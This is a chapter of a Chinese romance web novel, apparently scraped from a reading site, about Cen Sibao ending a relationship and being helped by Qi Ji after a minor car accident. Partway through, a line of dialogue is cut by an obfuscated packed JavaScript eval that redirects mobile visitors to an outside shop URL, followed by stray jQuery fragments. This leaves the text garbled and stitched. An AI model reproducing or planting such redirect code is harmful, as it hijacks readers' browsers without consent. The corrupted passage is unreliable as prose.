9.第 9 章
作品:《招惹哥哥的朋友后》 岑量撑着额头,陷入了深深的不解中,并没有注意到祁迹的眼神。
绿植背后安静了一会儿,岑似宝没有立刻回答,只是望着对面愤怒难平的丁耀光,用最后一点耐心说:“与别人无关。”
她愈发后悔当初答应丁耀光了。
真是知人知面不知心,他居然完全没有意识到自己的问题。
“我再说一遍,你的性格,还有说过的话,都让我觉得不舒服,这才是跟你分手的原因。”
丁耀光看她表情认真,慌乱起来:“我知道,我可能是有点抠门了,但那都是为了我们的将来打算啊。”
岑似宝歪了歪头:“我们的将来?你是不是有点……”她斟酌了一下,“想多了?”
丁耀光只顾着道歉:“对不起对不起,还有刚才也不该那么说你的,我说话没过脑子,求你了,别分手。”
曾经他还以为他可以掌握岑似宝的主动权,因为她的家境,觉得自己比她更优秀,可以在婚姻大事上随意割舍。
现在却完全生不起一丝嫌弃的心思了。
任他哀求,岑似宝不为所动。
“可我是真的喜欢你啊,你不是也喜欢我的吗?不然为什么会答应我?”他抱着一丝希冀问。
岑似宝搅了搅杯中的玻璃吸管,有些为难地抬眼:“其实,不是你,也会是别人。”
他与她其他追求者没有什么不同,这句话给了丁耀光最后一记重击,他低下了头,“我不信。”
岑似宝开始不耐,张了张口,他就站了起来,“你再好好想想,行吗?”
说完像是怕岑似宝直接说出什么令他难堪的话,逃也似的冲出了餐厅。
岑似宝看着他的背影,无语:“这速度,怎么不去演冲出亚马逊呢。”
对她来说,根本没有什么多想想的空间,从此刻开始,丁耀光已经是她不会再想起的过去式了。
不远处,岑量听得眉头紧锁,对丁耀光的嫌恶都写在了脸上,刚想要走过去,却被祁迹按住了肩膀。
岑量扭头看他:“?”
祁迹淡声说:“还是别过去了,丢她的面子。”
岑量想了想,确实。
岑似宝没有告诉他,应该就是想独自处理,现在闹得不欢而散,他要是走过去,她八成得恼羞成怒。
尤其是他们三个大男人刚才也算是听了墙角,更是她的大忌。
他这才勉强按下了问询的心思,转而觉得不太对劲,望向祁迹:“你怎么这么了解她?”
祁迹不慌不忙说:“她的心思,很难猜吗?”
“也是,毕竟她那么单纯。”岑量的怀疑被打消了,叹息一声,“这样很容易受男人的伤害,所以我才担心她。”
祁迹和薄乐没有接话,眼观鼻鼻观心,各自低头喝了口水。
也不知是谁伤谁。
都伤心地冲出餐厅了,她在那里建议人家去演冲出亚马逊。
祁迹嘴角掠起一抹弧度。
隔壁,岑似宝一个人,便没有留下,打包了菜品就直接离开了餐厅。
望着她轻松的步伐,岑量看出她没有受到一丝失恋的影响,这才彻底放下了心。
旋即有些欣慰:“那个抠门的哆啦A梦,早点甩了也好。”
但想到什么,他又看向薄乐,“听你刚才的意思,那男的是你的人?”
听他算账的语气,薄乐干笑了一声:“你不要说这种有歧义的话好不好,他只是我手底下的一个员工而已。”
岑量皱眉抱胸,瞧着有些凶悍,“你手底下的人骗我妹妹谈恋爱,你居然不告诉我?”
“我冤枉啊我。”薄乐立即否认,急得五官都皱了起来,“我压根就不知道这事儿,他跟我说她女朋友父母双亡,这开头不就排除了咱妹妹吗?”
“嗯?”岑量露出了与之前的祁迹如出一辙的困惑表情。
他是知道岑似宝的,她从来没有到处宣扬自己的家庭背景,不过跟亲近的人也不会特意隐瞒身份,更习惯于主动挑明,合得来的再做朋友。
丁耀光哪怕不知道岑似宝的家庭情况,按理说也不应该往截然相反的方向想。
薄乐兀自沉思了片刻,轻声说:“我突然想到……他是不是防着我,才故意在我面前说女朋友家境很差的?”
他抬起头:“这小子,也太特么有心计了。”
一直沉默的祁迹突然出声:“她的牙医,是怎么回事?”
想到方才丁耀光控诉的那条“你俩是不是都打算亲上了”,他下颌线一紧。
岑量朝后一靠,也犯了难:“我也不清楚啊,按理说她跟她的牙医之间怎么可能有什么呢,那女牙医头发都白了小半了。”
“人倒是长得挺慈眉善目的……但她也不缺母爱啊。”
他思来想去,“我是不是,已经跟她这个年纪的女孩有代沟了?”
祁迹又是一阵沉默,不知在想什么。
许久后,他拿起外套,淡然起身,“走了。”
两人皆是一愣,薄乐:“哎,不吃饭了啊?那我的事呢?”
“线上说。”
岑似宝坐在汽车后座,看着窗外的雪景。
了却了一件事,她轻松无比。
祁迹要是知道了,恐怕高兴得要跳起来,她故意这么想。
结果脑中那个Q版小祁迹还没跳,她先跳起来了。
汽车一个颠簸,接着是撞击声,要不是系着安全带,岑似宝恐怕要直接被颠到前排。
她稳住了心神,茫然地探过头去问司机:“这是怎么了?”
司机一脸苦相,“前面的车突然急刹,路滑,追尾了。”
岑似宝皱起眉,下了车,才看到是前面有车发生了车祸,由于晚高峰车多,后面的车没有保持车距,因此连环撞上了。
祁迹正独自开着车,开到十字路口处,朝窗外一瞥,一眼就看见了车祸现场,已经围了许多人。
正要收回视线,却紧接着发现了站在后头一辆车边的岑似宝,她正踮着脚尖,朝前方看去。
望着那变形的车头,他眉宇一凛。
岑似宝正观望着事故现场,她个子不够高,想要去前面看看人员伤亡情况,却又怕看到什么血肉模糊的场景。
正犹豫着,突觉身旁有一阵风袭来,一抬头,看到了祁迹的脸。
他的脸色有些难看,将她转向自己,从上到下打量了一番。
岑似宝反应过来他在担心什么,“我没事儿,你可千万别告诉我哥。”
“没有受伤?”
“没有啊。”顿了顿,她眼珠一转,又补充:“也不是全然没事,就是司机急刹的时候,被安全带勒了一下,现在还有点疼。”说着揉了揉心口。
祁迹的表情果然又紧绷了起来,“上车。”
岑似宝没有拒绝,跟司机说了一声,便坐上了祁迹的车。
附近几百米外就有一家医院,祁迹很快便带着她到了地方,从车上拿出口罩,给她戴上。
岑似宝扯了扯耳后的带子,跟着他进了医院。
急诊人很多,两人耐心地排着队。
“你怎么会在这儿呢?这么早就下班,也太对不起你手底下努力的员工们了。”岑似宝故意说。
祁迹瞥了她一眼,也看出她应该问题不大,吊着的心总算微放,“你哥请我吃饭。”
岑似宝立马坐直了:“岑量?”
祁迹轻笑一声,“不然还能是岑衡?”
“他怎么没跟我说,就只问我今晚有没有空。”岑似宝嘀咕。
祁迹听到了,反问:“你想跟我吃饭?”
岑似宝别过脸,“你想得美,我只不过是想,跟我哥一起吃饭,不用我付钱。”
祁迹若有所思:“钱不够用?”
岑似宝哼了一声,“够用啊,但我就是喜欢有人给我付款,怎么了?”
“没怎么。”祁迹嘴角噙着淡笑,“既然如此,下次可以叫上我。我很乐意为你付款。”
岑似宝抿着唇,望向窗外,掩饰自己的笑意。
祁迹看着她的侧脸,突然问:“你今天晚上出来……有事?”
岑似宝思索片刻,还是不想立刻说出自己找丁耀光提分手了,让祁迹太得意,于是只说:“没什么事,就是出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048087|194191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来吃顿饭。”
说话间,叫到岑似宝的号了。
岑似宝疼的是敏感部位,祁迹没有进去,思索着牙医的事。
虽然这个猜想本来就很荒谬、很好笑,但是放到岑似宝这位向来不按常理出牌的大小姐身上,他竟然觉得一切皆有可能。
过了一会儿,岑似宝出来了,“只是有些挫伤。”
祁迹仔细看过诊断,帮她拿了药,才载着她往学校赶。
车上,岑似宝又强调了一遍:“这事别告诉我哥啊。”
不然一大家子人都会知道,她也别想再住寝室了。
祁迹没有答应,也没有不答应。
信号灯前,车子停下,祁迹摸了摸自己的侧脸。
岑似宝发现,从在医院里开始,他若有若无地碰下脸颊已经有一阵了,明明既没红也没肿。
盯着他看了一会儿,她还是忍不住问:“你脸怎么了?”
祁迹的手自然地落到方向盘上,若无其事说:“没什么,牙有点疼。”
岑似宝诧异地睁大了眼:“你?牙疼?”
“嗯。”祁迹看向她,“有什么靠谱的牙医推荐吗?”
岑似宝没有怀疑什么,认真推荐:“我的牙医还不错,很负责,也很有耐心。”
“男的?”
“不是,是个女医生,年纪比较大,很温柔。”
祁迹注视着她的双眼,“你很喜欢她?”
“当然了,要是不喜欢,我也不会推荐给你啊。”岑似宝一脸他在说什么废话的表情。
祁迹打量了一阵,突然松了口气。
她方才提到喜欢时,眼中的情感明显只是提及了一个有些亲近的长辈。
好在那到底只是个荒谬的猜想。
后半程,祁迹专注开车,反倒是岑似宝总时不时悄悄看他一眼,脑中闪过无数画面。
车子登记后驶入学校,最后停在了宿舍区门口。
岑似宝立刻身体前倾,将一路上的好奇都发了出来:“你快让我看看你的牙呢。”
她实在想象不出,祁迹这种成熟斯文的霸总生出蛀牙,或是长出一颗阻生智齿的样子。
光是在脑中想一想Q版小祁迹捂着嘴,啊啊叫着满地打滚的情景,她的嘴角就忍不住幸灾乐祸上扬了。
你也有没法冷静的一天啊。
祁迹定神看了她一会儿,颔首,朝她勾了勾手,“过来。”
岑似宝立刻满怀期待朝他凑了过去,却被忘记解开的安全带困住了。
下一秒,一道颀长手臂伸出,卡扣便松了开来。
绷紧的安全带瞬间弹起,在抽到岑似宝之前被祁迹抓住了尾端,轻轻放回。
岑似宝这时才发现,两人的距离过近了。
祁迹没有收回手,望着她的目光也没有丝毫收敛,蛊惑说:“还要看吗?”
岑似宝忍不住看向他浮现笑意的唇,泛着健康的红的,柔软的,因为说话而微张的——刚刚好,可以伸进她的一根手指。
祁迹看着白皙脸庞在一瞬间红透了的岑似宝,缓缓眨了一下眼,哑声问:“想到什么了?”
下一刻,岑似宝便反手拉开车门,一个箭步冲下了车:“当然是想到你肯定是天天晚上偷吃零食才会牙疼的!!”
说完立刻将车门“啪”得关上,顶着透光的红耳朵,头也不回地朝宿舍门走去。
路灯下,雪地上留下了一串串崭新的脚印,间距极大。
祁迹坐了回去,气定神闲地敲了敲方向盘。
十秒后,察觉忘拿东西的岑似宝又原路返回了。
雪地上留下了新的脚印,间距更大了。
她两手握拳,自觉丢人,这种时候,一点也不想被他看见。
于是她决心,待会儿在他望过来的时候,刻意摆出一张冷漠而高傲的脸;在他出声笑她之前,先一步用冷漠而高傲的语气要回东西。
可还没等她开口,面前的车窗就缓缓降下了。
驾驶座上的人没有露出脸,也没有看她,车窗里只是伸出了一只修长有力的大手,指尖勾着她落下的打包袋,轻轻晃了晃。

